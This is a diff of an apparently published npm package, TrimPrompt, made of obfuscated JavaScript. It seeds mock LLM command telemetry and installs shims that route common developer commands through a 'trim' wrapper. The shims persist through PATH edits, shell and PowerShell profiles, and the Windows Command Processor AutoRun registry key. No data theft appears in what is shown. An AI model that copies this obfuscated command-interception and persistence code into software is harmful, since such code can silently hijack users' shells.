_0x47da24=['13130793WyYFWV','./tracker','3863732LOniIa','708407fKwuUP','[INFO]\x20Building\x20modules...\x0a','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','test_db.py\x20PASS\x0a','7468681eNzyvA','8981ZEwjKs','5jzVbPL','npm\x20run\x20build','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','Step\x201/10\x20:\x20FROM\x20node:20\x0a','Compilation\x20Output:\x0a','12yANFSr','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','Optimizing\x20assets...\x0a','3cmzWii','claude-3-opus','5934174NKttJz','Test\x20suite\x20run\x20starting...\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','gemini-1-5-pro','2224218LsVGBH','added\x201420\x20packages\x20in\x2014s\x0a','Successfully\x20built\x20image.','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','9112ysSEDO','tracker','test_api.py\x20PASS\x0a','test_auth.py\x20PASS\x0a','10fJcxWJ','logExecution','TRIMPROMPT_MODEL','log','All\x20303\x20tests\x20passed\x20in\x204.22s.','env','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','repeat','__esModule'];a0_0x1c78=function(){return _0x47da24;};return a0_0x1c78();}console['log']('Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...'),process[a0_0x2bedc9(0x8b)]['TRIMPROMPT_MODEL']=a0_0x2bedc9(0xa1),tracker_1[a0_0x2bedc9(0x83)][a0_0x2bedc9(0x87)](a0_0x2bedc9(0x99),a0_0x2bedc9(0x9c)+a0_0x2bedc9(0x93)+a0_0x2bedc9(0x9f)+a0_0x2bedc9(0x9e)[a0_0x2bedc9(0x8d)](0x190),a0_0x2bedc9(0xa4),0x0),process[a0_0x2bedc9(0x8b)][a0_0x2bedc9(0x88)]='gpt-4o',tracker_1[a0_0x2bedc9(0x83)]['logExecution']('pytest\x20tests/app',a0_0x2bedc9(0xa3)+a0_0x2bedc9(0x85)+a0_0x2bedc9(0x95)+a0_0x2bedc9(0x84)[a0_0x2bedc9(0x8d)](0x12c)+a0_0x2bedc9(0x8a),a0_0x2bedc9(0x94),0x0),process[a0_0x2bedc9(0x8b)]['TRIMPROMPT_MODEL']=a0_0x2bedc9(0xa5),tracker_1['tracker'][a0_0x2bedc9(0x87)]('docker\x20build\x20.','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a'+a0_0x2bedc9(0x9b)+a0_0x2bedc9(0x81)+a0_0x2bedc9(0x9a)+a0_0x2bedc9(0xa7)[a0_0x2bedc9(0x8d)](0x3)+a0_0x2bedc9(0xa8),a0_0x2bedc9(0x8c),0x0),console[a0_0x2bedc9(0x89)]('Database\x20successfully\x20seeded!');
1
+ 'use strict';const a0_0x482930=a0_0x5e61;function a0_0x47d8(){const _0x54b42f=['gemini-1-5-pro','docker\x20build\x20.','[INFO]\x20Building\x20modules...\x0a','Database\x20successfully\x20seeded!','Test\x20suite\x20run\x20starting...\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','Optimizing\x20assets...\x0a','defineProperty','repeat','log','4132lJamXk','Successfully\x20built\x20image.','claude-3-opus','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','4220952rLBxeB','test_api.py\x20PASS\x0a','npm\x20run\x20build','All\x20303\x20tests\x20passed\x20in\x204.22s.','Step\x201/10\x20:\x20FROM\x20node:20\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','480EEKPFv','532212tqWcGo','569307YQTcNj','12337384unooKm','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','__esModule','tracker','logExecution','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','./tracker','Compilation\x20Output:\x0a','gpt-4o','399653RUatTK','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','test_auth.py\x20PASS\x0a','test_db.py\x20PASS\x0a','2849903QvAhDt'];a0_0x47d8=function(){return _0x54b42f;};return a0_0x47d8();}(function(_0x2a7fff,_0x491134){const _0x54ba35=a0_0x5e61,_0x4f8738=_0x2a7fff();while(!![]){try{const _0x57b786=-parseInt(_0x54ba35(0x1d4))/0x1+parseInt(_0x54ba35(0x1c9))/0x2+parseInt(_0x54ba35(0x1ca))/0x3+parseInt(_0x54ba35(0x1e4))/0x4*(-parseInt(_0x54ba35(0x1ee))/0x5)+-parseInt(_0x54ba35(0x1e8))/0x6+-parseInt(_0x54ba35(0x1d9))/0x7+parseInt(_0x54ba35(0x1cb))/0x8;if(_0x57b786===_0x491134)break;else _0x4f8738['push'](_0x4f8738['shift']());}catch(_0xc05fa5){_0x4f8738['push'](_0x4f8738['shift']());}}}(a0_0x47d8,0x5edfe));function a0_0x5e61(_0x28e3a1,_0x4be74c){_0x28e3a1=_0x28e3a1-0x1c9;const _0x47d864=a0_0x47d8();let _0x5e61df=_0x47d864[_0x28e3a1];return _0x5e61df;}Object[a0_0x482930(0x1e1)](exports,a0_0x482930(0x1cd),{'value':!![]});const tracker_1=require(a0_0x482930(0x1d1));console[a0_0x482930(0x1e3)](a0_0x482930(0x1e7)),process.env.TRIMPROMPT_MODEL=a0_0x482930(0x1e6),tracker_1[a0_0x482930(0x1ce)][a0_0x482930(0x1cf)](a0_0x482930(0x1ea),a0_0x482930(0x1d2)+a0_0x482930(0x1dc)+a0_0x482930(0x1e0)+a0_0x482930(0x1d5)[a0_0x482930(0x1e2)](0x190),a0_0x482930(0x1d6),0x0),process.env.TRIMPROMPT_MODEL=a0_0x482930(0x1d3),tracker_1[a0_0x482930(0x1ce)][a0_0x482930(0x1cf)]('pytest\x20tests/app',a0_0x482930(0x1de)+a0_0x482930(0x1d7)+a0_0x482930(0x1d8)+a0_0x482930(0x1e9)[a0_0x482930(0x1e2)](0x12c)+a0_0x482930(0x1eb),a0_0x482930(0x1cc),0x0),process.env.TRIMPROMPT_MODEL=a0_0x482930(0x1da),tracker_1[a0_0x482930(0x1ce)]['logExecution'](a0_0x482930(0x1db),a0_0x482930(0x1df)+a0_0x482930(0x1ec)+a0_0x482930(0x1ed)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x482930(0x1e2)](0x3)+a0_0x482930(0x1e5),a0_0x482930(0x1d0),0x0),console[a0_0x482930(0x1e3)](a0_0x482930(0x1dd));
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0xdd3b12=a0_0x25d0;(function(_0x35b1c3,_0x1a58d5){const _0x2dcd17=a0_0x25d0,_0x18f96a=_0x35b1c3();while(!![]){try{const _0x2dcc88=parseInt(_0x2dcd17(0x103))/0x1*(-parseInt(_0x2dcd17(0x12a))/0x2)+parseInt(_0x2dcd17(0x13f))/0x3+parseInt(_0x2dcd17(0x115))/0x4*(-parseInt(_0x2dcd17(0xf5))/0x5)+parseInt(_0x2dcd17(0x11b))/0x6+-parseInt(_0x2dcd17(0xd8))/0x7+parseInt(_0x2dcd17(0x144))/0x8+-parseInt(_0x2dcd17(0x102))/0x9*(-parseInt(_0x2dcd17(0x10a))/0xa);if(_0x2dcc88===_0x1a58d5)break;else _0x18f96a['push'](_0x18f96a['shift']());}catch(_0x51d6e8){_0x18f96a['push'](_0x18f96a['shift']());}}}(a0_0x5b82,0xd4288));var __createBinding=this&&this[a0_0xdd3b12(0x12f)]||(Object[a0_0xdd3b12(0x145)]?function(_0x29bed0,_0x3ad209,_0x2f8b48,_0x39383e){const _0x1ad813=a0_0xdd3b12;if(_0x39383e===undefined)_0x39383e=_0x2f8b48;var _0x5812e9=Object[_0x1ad813(0x113)](_0x3ad209,_0x2f8b48);(!_0x5812e9||(_0x1ad813(0x127)in _0x5812e9?!_0x3ad209[_0x1ad813(0x119)]:_0x5812e9[_0x1ad813(0x106)]||_0x5812e9[_0x1ad813(0x110)]))&&(_0x5812e9={'enumerable':!![],'get':function(){return _0x3ad209[_0x2f8b48];}}),Object[_0x1ad813(0x132)](_0x29bed0,_0x39383e,_0x5812e9);}:function(_0x49627c,_0xa61d8c,_0x314d38,_0x414318){if(_0x414318===undefined)_0x414318=_0x314d38;_0x49627c[_0x414318]=_0xa61d8c[_0x314d38];}),__setModuleDefault=this&&this[a0_0xdd3b12(0xfc)]||(Object[a0_0xdd3b12(0x145)]?function(_0x27f840,_0x2ea333){const _0x4e4a3a=a0_0xdd3b12;Object[_0x4e4a3a(0x132)](_0x27f840,_0x4e4a3a(0x131),{'enumerable':!![],'value':_0x2ea333});}:function(_0x105d0a,_0x1cad76){const _0x366b71=a0_0xdd3b12;_0x105d0a[_0x366b71(0x131)]=_0x1cad76;}),__importStar=this&&this[a0_0xdd3b12(0x11f)]||(function(){var _0x1a7f7e=function(_0x10d8fb){return _0x1a7f7e=Object['getOwnPropertyNames']||function(_0x19a5d4){const _0x4b7c26=a0_0x25d0;var _0x397c73=[];for(var _0x7fdbce in _0x19a5d4)if(Object[_0x4b7c26(0x11e)][_0x4b7c26(0x123)][_0x4b7c26(0xe4)](_0x19a5d4,_0x7fdbce))_0x397c73[_0x397c73[_0x4b7c26(0xd9)]]=_0x7fdbce;return _0x397c73;},_0x1a7f7e(_0x10d8fb);};return function(_0x350b39){const _0x1431a5=a0_0x25d0;if(_0x350b39&&_0x350b39[_0x1431a5(0x119)])return _0x350b39;var _0x50df3d={};if(_0x350b39!=null){for(var _0x23fa80=_0x1a7f7e(_0x350b39),_0x528998=0x0;_0x528998<_0x23fa80[_0x1431a5(0xd9)];_0x528998++)if(_0x23fa80[_0x528998]!==_0x1431a5(0x131))__createBinding(_0x50df3d,_0x350b39,_0x23fa80[_0x528998]);}return __setModuleDefault(_0x50df3d,_0x350b39),_0x50df3d;};}());function a0_0x25d0(_0x177073,_0x3f44e7){const _0x5b827f=a0_0x5b82();return a0_0x25d0=function(_0x25d063,_0x5bca79){_0x25d063=_0x25d063-0xd3;let _0x544d92=_0x5b827f[_0x25d063];return _0x544d92;},a0_0x25d0(_0x177073,_0x3f44e7);}Object[a0_0xdd3b12(0x132)](exports,a0_0xdd3b12(0x119),{'value':!![]}),exports[a0_0xdd3b12(0x101)]=installShims,exports[a0_0xdd3b12(0x142)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0xdd3b12(0x12c))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0xdd3b12(0xfb),a0_0xdd3b12(0xd7),a0_0xdd3b12(0xee),'grep','rg',a0_0xdd3b12(0x136),'git','gh',a0_0xdd3b12(0xe2),a0_0xdd3b12(0x13c),a0_0xdd3b12(0x12e),'pnpm',a0_0xdd3b12(0xf9),'yarn',a0_0xdd3b12(0x11c),a0_0xdd3b12(0xdf),'pytest',a0_0xdd3b12(0x114),a0_0xdd3b12(0x120),'go'],PROFILE_MARKER=a0_0xdd3b12(0xd3);function getExecSync(){const _0xbbbe=a0_0xdd3b12;return require(_0xbbbe(0xfd))[_0xbbbe(0xfa)];}function getExecFileSync(){const _0x572706=a0_0xdd3b12;return require('child_process')[_0x572706(0x13e)];}function a0_0x5b82(){const _0x1fe27c=['1668222ZtmJox','powershell\x20-NoProfile\x20-Command\x20\x22','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','uninstallShims','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','8895040PabaIT','create','homedir','TrimPrompt\x20Shims\x20PATH','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','replace','appendFileSync','cat','3390485rFiPVk','length','pipe','mkdirSync','-NoProfile','ignore',':$PATH\x22','docker','\x20\x22$@\x22\x0a','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','glab','powershell.exe','call','.zshrc','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','\x20&\x20','utf8','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','.ps1','push','pwsh','message','read','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','$PROFILE.CurrentUserAllHosts','powershell','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','.trimprompt','$PROFILE.CurrentUserCurrentHost','454715caFhFU','filter','shims',';\x22\x20+\x20$env:PATH\x0a','npx','execSync','tree','__setModuleDefault','child_process','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','join','.bashrc','installShims','63tztsSs','13487TEaoRm','trim','if\x20exist\x20\x22','writable','export\x20PATH=\x22','includes','\x20-NoProfile\x20-Command\x20\x22','1949080qIQdbD',';%PATH%\x22','755','.cmd','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27',':$PATH\x22\x0a','configurable','\x22\x20set\x20\x22PATH=','toLowerCase','getOwnPropertyDescriptor','pip','76VwqzBD','writeFileSync','-Command','.profile','__esModule','readFileSync','698382EUOqHg','kubectl','win32','prototype','__importStar','pip3','APPDATA','rmdirSync','hasOwnProperty','existsSync','#!/bin/sh\x0aexec\x20trim\x20','map','get','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','\x0a#\x20','10mMaPoc','\x0aexport\x20PATH=\x22','path','unlinkSync','npm','__createBinding','dirname','default','defineProperty','\x0a$env:PATH\x20=\x20\x22','&\x20trim\x20','Failed\x20to\x20uninstall\x20shims:\x20','ruff','chmodSync','.bash_profile','split','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','platform','cargo','\x27,\x20\x27User\x27)','execFileSync'];a0_0x5b82=function(){return _0x1fe27c;};return a0_0x5b82();}function ensureProfileContains(_0x1b2315,_0x107f79,_0x252c0c){const _0x2f415d=a0_0xdd3b12;try{const _0x2c8d01=path[_0x2f415d(0x130)](_0x1b2315);!fs[_0x2f415d(0x124)](_0x2c8d01)&&fs['mkdirSync'](_0x2c8d01,{'recursive':!![]});if(fs[_0x2f415d(0x124)](_0x1b2315)){const _0x565339=fs[_0x2f415d(0x11a)](_0x1b2315,_0x2f415d(0xe8));if(_0x565339[_0x2f415d(0x108)](_0x107f79))return;fs[_0x2f415d(0xd6)](_0x1b2315,_0x252c0c,_0x2f415d(0xe8));}else fs['writeFileSync'](_0x1b2315,_0x252c0c,_0x2f415d(0xe8));}catch{}}function removeProfileBlock(_0x53d90c,_0x338b35){const _0x597fc8=a0_0xdd3b12;try{if(!fs['existsSync'](_0x53d90c))return;const _0xc92247=fs[_0x597fc8(0x11a)](_0x53d90c,'utf8');if(!_0xc92247[_0x597fc8(0x108)](_0x338b35))return;const _0x386913=_0xc92247['split']('\x0a'),_0x1337ff=[];let _0x1fb669=![];for(let _0x3bedf3=0x0;_0x3bedf3<_0x386913[_0x597fc8(0xd9)];_0x3bedf3++){if(_0x386913[_0x3bedf3][_0x597fc8(0x108)](_0x338b35)){_0x1fb669=!![];continue;}if(_0x1fb669){_0x1fb669=![];continue;}_0x1337ff[_0x597fc8(0xeb)](_0x386913[_0x3bedf3]);}const _0x34119f=_0x1337ff[_0x597fc8(0xff)]('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs[_0x597fc8(0x116)](_0x53d90c,_0x34119f,_0x597fc8(0xe8));}catch{}}function collectPowerShellProfiles(){const _0x473d37=a0_0xdd3b12,_0x36fd7b=getExecSync(),_0x4afdb9=[],_0x3f3395=[[_0x473d37(0xf1),_0x473d37(0xf4)],[_0x473d37(0xf1),_0x473d37(0xf0)]];try{_0x36fd7b(_0x473d37(0xf2),{'stdio':_0x473d37(0xdd)}),_0x3f3395[_0x473d37(0xeb)]([_0x473d37(0xec),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x65a5f9,_0x3b9ac4]of _0x3f3395){try{const _0x12cbf5=_0x36fd7b(_0x65a5f9+_0x473d37(0x109)+_0x3b9ac4+'\x22',{'encoding':_0x473d37(0xe8)})[_0x473d37(0x104)]();_0x12cbf5&&!_0x4afdb9['some'](_0x40a818=>_0x40a818[_0x473d37(0x112)]()===_0x12cbf5[_0x473d37(0x112)]())&&_0x4afdb9[_0x473d37(0xeb)](_0x12cbf5);}catch{}}return _0x4afdb9;}function getBashProfilesWindows(){const _0x29acd6=a0_0xdd3b12,_0x3a1240=os[_0x29acd6(0x146)]();return[_0x29acd6(0x100),_0x29acd6(0x138)][_0x29acd6(0x126)](_0x2d6086=>path[_0x29acd6(0xff)](_0x3a1240,_0x2d6086));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x493cdc=a0_0xdd3b12,_0x182b2d=path[_0x493cdc(0xff)](os['homedir'](),_0x493cdc(0xf3),_0x493cdc(0xf7));try{!fs[_0x493cdc(0x124)](_0x182b2d)&&fs[_0x493cdc(0xdb)](_0x182b2d,{'recursive':!![]});const _0x7be3ad=os[_0x493cdc(0x13b)]()===_0x493cdc(0x11d);for(const _0x4ef416 of SHIMMED_COMMANDS){if(_0x7be3ad){const _0x32e834=path['join'](_0x182b2d,_0x4ef416+_0x493cdc(0x10d));fs[_0x493cdc(0x116)](_0x32e834,'@echo\x20off\x0atrim\x20'+_0x4ef416+'\x20%*\x0a',_0x493cdc(0xe8));const _0x10d330=path['join'](_0x182b2d,_0x4ef416+_0x493cdc(0xea));fs[_0x493cdc(0x116)](_0x10d330,_0x493cdc(0x134)+_0x4ef416+'\x20@args\x0a',_0x493cdc(0xe8));const _0x15ce5f=path[_0x493cdc(0xff)](_0x182b2d,_0x4ef416);fs[_0x493cdc(0x116)](_0x15ce5f,'#!/bin/sh\x0aexec\x20trim\x20'+_0x4ef416+_0x493cdc(0xe0),_0x493cdc(0xe8));}else{const _0x4e4f5f=path['join'](_0x182b2d,_0x4ef416);fs['writeFileSync'](_0x4e4f5f,_0x493cdc(0x125)+_0x4ef416+_0x493cdc(0xe0),'utf8'),fs[_0x493cdc(0x137)](_0x4e4f5f,_0x493cdc(0x10c));}}let _0x1f17d0=![],_0xcf1a8c='';if(_0x7be3ad)try{const _0x13f748=getExecSync(),_0x3e5d15='\x0a#\x20'+PROFILE_MARKER+_0x493cdc(0x133)+_0x182b2d+_0x493cdc(0xf8),_0x535ea2=collectPowerShellProfiles();for(const _0x3d922b of _0x535ea2){ensureProfileContains(_0x3d922b,_0x182b2d,_0x3e5d15);}try{const _0x4dd084=getExecFileSync(),_0x391ac8=_0x493cdc(0x105)+_0x182b2d+_0x493cdc(0x111)+_0x182b2d+_0x493cdc(0x10b),_0x3eefd9='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x38e9d1='';try{const _0x2a321e=_0x493cdc(0xd4)+_0x3eefd9+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}';_0x38e9d1=_0x4dd084(_0x493cdc(0xe3),[_0x493cdc(0xdc),_0x493cdc(0x117),_0x2a321e],{'encoding':_0x493cdc(0xe8),'stdio':['pipe',_0x493cdc(0xda),'ignore']})[_0x493cdc(0x104)]();}catch{}if(!_0x38e9d1[_0x493cdc(0x108)](_0x182b2d)){const _0x27eca0=_0x38e9d1?_0x38e9d1+_0x493cdc(0xe7)+_0x391ac8:_0x391ac8,_0x16dff6='New-Item\x20-Path\x20\x27'+_0x3eefd9+_0x493cdc(0x13a)+_0x3eefd9+_0x493cdc(0xe9)+_0x27eca0+'\x27';_0x4dd084(_0x493cdc(0xe3),['-NoProfile',_0x493cdc(0x117),_0x16dff6],{'stdio':_0x493cdc(0xdd)});}}catch{}try{const _0x1c162d=_0x182b2d[_0x493cdc(0xd5)](/\\/g,'/')['replace'](/^([A-Za-z]):/,(_0x509655,_0x874c77)=>'/'+_0x874c77[_0x493cdc(0x112)]()),_0x49f839='\x0a#\x20'+PROFILE_MARKER+_0x493cdc(0x12b)+_0x1c162d+_0x493cdc(0x10f),_0x32eecb=getBashProfilesWindows();let _0x398e7c=![];for(const _0x27361b of _0x32eecb){fs[_0x493cdc(0x124)](_0x27361b)&&(ensureProfileContains(_0x27361b,_0x1c162d,_0x49f839),_0x398e7c=!![]);}!_0x398e7c&&ensureProfileContains(_0x32eecb[0x0],_0x1c162d,_0x49f839);}catch{}const _0x41bff4='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x40e398=_0x13f748('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x41bff4+'\x22',{'encoding':_0x493cdc(0xe8),'stdio':[_0x493cdc(0xda),_0x493cdc(0xda),_0x493cdc(0xdd)]})[_0x493cdc(0x104)]();if(!_0x40e398['includes'](_0x182b2d)){const _0x335bb0=_0x182b2d+';'+_0x40e398,_0x46a0b2=_0x335bb0[_0x493cdc(0xd5)](/'/g,'\x27\x27'),_0x3c7ff5=_0x493cdc(0x10e)+_0x46a0b2+'\x27,\x20\x27User\x27)';_0x13f748('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3c7ff5+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x493cdc(0xdd)});}const _0x18fb89=path['join'](process['env'][_0x493cdc(0x121)]||'',_0x493cdc(0x12e),'trim.ps1');if(fs[_0x493cdc(0x124)](_0x18fb89))try{fs[_0x493cdc(0x12d)](_0x18fb89);}catch{}_0x1f17d0=!![];}catch(_0x2d73ab){_0xcf1a8c=_0x493cdc(0x128)+_0x182b2d;}else try{const _0x5aa4e2=_0x493cdc(0x107)+_0x182b2d+_0x493cdc(0x10f),_0x4b6d68=os[_0x493cdc(0x146)](),_0xfe37e2=['.bashrc',_0x493cdc(0xe5),_0x493cdc(0x138),_0x493cdc(0x118)];let _0x588980=![];for(const _0x3643ce of _0xfe37e2){const _0x4e565b=path['join'](_0x4b6d68,_0x3643ce);fs[_0x493cdc(0x124)](_0x4e565b)&&(ensureProfileContains(_0x4e565b,_0x182b2d,_0x493cdc(0x129)+PROFILE_MARKER+'\x0a'+_0x5aa4e2),_0x588980=!![]);}if(!_0x588980){const _0x5653cd=path[_0x493cdc(0xff)](_0x4b6d68,_0x493cdc(0x100));ensureProfileContains(_0x5653cd,_0x182b2d,_0x493cdc(0x129)+PROFILE_MARKER+'\x0a'+_0x5aa4e2);}_0x1f17d0=!![];}catch(_0x1ab886){_0xcf1a8c='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x182b2d+_0x493cdc(0xde);}const _0x1964a0=_0x493cdc(0xe1)+SHIMMED_COMMANDS['length']+'\x20commands.\x0a\x0a',_0x45172e=_0x1f17d0?_0x1964a0+'[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.':_0x1964a0+_0x493cdc(0xef)+_0xcf1a8c;return{'success':!![],'pathDir':_0x182b2d,'message':_0x45172e};}catch(_0x53c463){return{'success':![],'pathDir':_0x182b2d,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x53c463[_0x493cdc(0xed)]};}}function uninstallShims(){const _0x3a8da2=a0_0xdd3b12,_0x735b82=path['join'](os[_0x3a8da2(0x146)](),_0x3a8da2(0xf3),'shims'),_0x52e4f5=os['platform']()===_0x3a8da2(0x11d);try{if(_0x52e4f5){const _0x22ee2e=getExecSync();try{const _0x4f24f2=getExecFileSync(),_0x53fc7d=_0x3a8da2(0xfe),_0x11fb7d=_0x3a8da2(0xd4)+_0x53fc7d+_0x3a8da2(0x141),_0x46edce=_0x4f24f2(_0x3a8da2(0xe3),[_0x3a8da2(0xdc),'-Command',_0x11fb7d],{'encoding':_0x3a8da2(0xe8),'stdio':['pipe',_0x3a8da2(0xda),_0x3a8da2(0xdd)]})['trim']();if(_0x46edce[_0x3a8da2(0x108)](_0x735b82)){const _0x55f0fe=_0x46edce[_0x3a8da2(0x139)](_0x3a8da2(0xe7))[_0x3a8da2(0xf6)](_0xfd91ee=>!_0xfd91ee['includes'](_0x735b82));if(_0x55f0fe['length']===0x0){const _0x3a88f5='Remove-ItemProperty\x20-Path\x20\x27'+_0x53fc7d+_0x3a8da2(0x143);_0x4f24f2(_0x3a8da2(0xe3),[_0x3a8da2(0xdc),_0x3a8da2(0x117),_0x3a88f5],{'stdio':_0x3a8da2(0xdd)});}else{const _0xc5636a=_0x55f0fe[_0x3a8da2(0xff)](_0x3a8da2(0xe7)),_0x16f801='Set-ItemProperty\x20-Path\x20\x27'+_0x53fc7d+_0x3a8da2(0xe9)+_0xc5636a+'\x27';_0x4f24f2(_0x3a8da2(0xe3),[_0x3a8da2(0xdc),_0x3a8da2(0x117),_0x16f801],{'stdio':_0x3a8da2(0xdd)});}}}catch{}try{const _0x493ef4=collectPowerShellProfiles();for(const _0x2beaf8 of _0x493ef4){removeProfileBlock(_0x2beaf8,PROFILE_MARKER);}}catch{}try{for(const _0x3b9968 of getBashProfilesWindows()){removeProfileBlock(_0x3b9968,PROFILE_MARKER);}}catch{}try{const _0x28cd3e=_0x3a8da2(0xe6),_0x4fcc43=_0x22ee2e(_0x3a8da2(0x140)+_0x28cd3e+'\x22',{'encoding':_0x3a8da2(0xe8),'stdio':[_0x3a8da2(0xda),_0x3a8da2(0xda),_0x3a8da2(0xdd)]})[_0x3a8da2(0x104)]();if(_0x4fcc43[_0x3a8da2(0x108)](_0x735b82)){const _0x5d37b8=_0x4fcc43[_0x3a8da2(0x139)](';')[_0x3a8da2(0xf6)](_0x33ac27=>_0x33ac27[_0x3a8da2(0x104)]()[_0x3a8da2(0x112)]()!==_0x735b82[_0x3a8da2(0x112)]())[_0x3a8da2(0xff)](';'),_0x47deb5=_0x5d37b8[_0x3a8da2(0xd5)](/'/g,'\x27\x27'),_0xd4e936=_0x3a8da2(0x10e)+_0x47deb5+_0x3a8da2(0x13d);_0x22ee2e(_0x3a8da2(0x140)+_0xd4e936+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}}catch{}}else{const _0x5ec648=os[_0x3a8da2(0x146)](),_0x5d5ef8=['.bashrc','.zshrc','.bash_profile',_0x3a8da2(0x118)];for(const _0x59334f of _0x5d5ef8){removeProfileBlock(path[_0x3a8da2(0xff)](_0x5ec648,_0x59334f),PROFILE_MARKER);}}if(fs['existsSync'](_0x735b82)){const _0x3f8e24=fs['readdirSync'](_0x735b82);for(const _0x5777cc of _0x3f8e24){fs[_0x3a8da2(0x12d)](path[_0x3a8da2(0xff)](_0x735b82,_0x5777cc));}fs[_0x3a8da2(0x122)](_0x735b82);}return{'success':!![],'message':'TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.'};}catch(_0x2c0fc7){return{'success':![],'message':_0x3a8da2(0x135)+_0x2c0fc7[_0x3a8da2(0xed)]};}}
1
+ 'use strict';const a0_0x4fa91a=a0_0x5cf8;(function(_0x101bb3,_0x213509){const _0x6409ad=a0_0x5cf8,_0x1b8b7c=_0x101bb3();while(!![]){try{const _0x44dde3=parseInt(_0x6409ad(0x12f))/0x1*(parseInt(_0x6409ad(0xfa))/0x2)+-parseInt(_0x6409ad(0xd7))/0x3*(-parseInt(_0x6409ad(0xce))/0x4)+parseInt(_0x6409ad(0xe9))/0x5+-parseInt(_0x6409ad(0xfe))/0x6+parseInt(_0x6409ad(0x100))/0x7+parseInt(_0x6409ad(0xf5))/0x8+-parseInt(_0x6409ad(0xd3))/0x9*(parseInt(_0x6409ad(0xf0))/0xa);if(_0x44dde3===_0x213509)break;else _0x1b8b7c['push'](_0x1b8b7c['shift']());}catch(_0x1e9e59){_0x1b8b7c['push'](_0x1b8b7c['shift']());}}}(a0_0x1de8,0x24039));var __createBinding=this&&this[a0_0x4fa91a(0xf8)]||(Object[a0_0x4fa91a(0x11a)]?function(_0x58d199,_0x5c27e2,_0x2a0d19,_0x46627a){const _0x3ec59b=a0_0x4fa91a;if(_0x46627a===undefined)_0x46627a=_0x2a0d19;var _0x26d782=Object[_0x3ec59b(0x122)](_0x5c27e2,_0x2a0d19);(!_0x26d782||(_0x3ec59b(0xd1)in _0x26d782?!_0x5c27e2[_0x3ec59b(0xec)]:_0x26d782[_0x3ec59b(0xe3)]||_0x26d782[_0x3ec59b(0x12d)]))&&(_0x26d782={'enumerable':!![],'get':function(){return 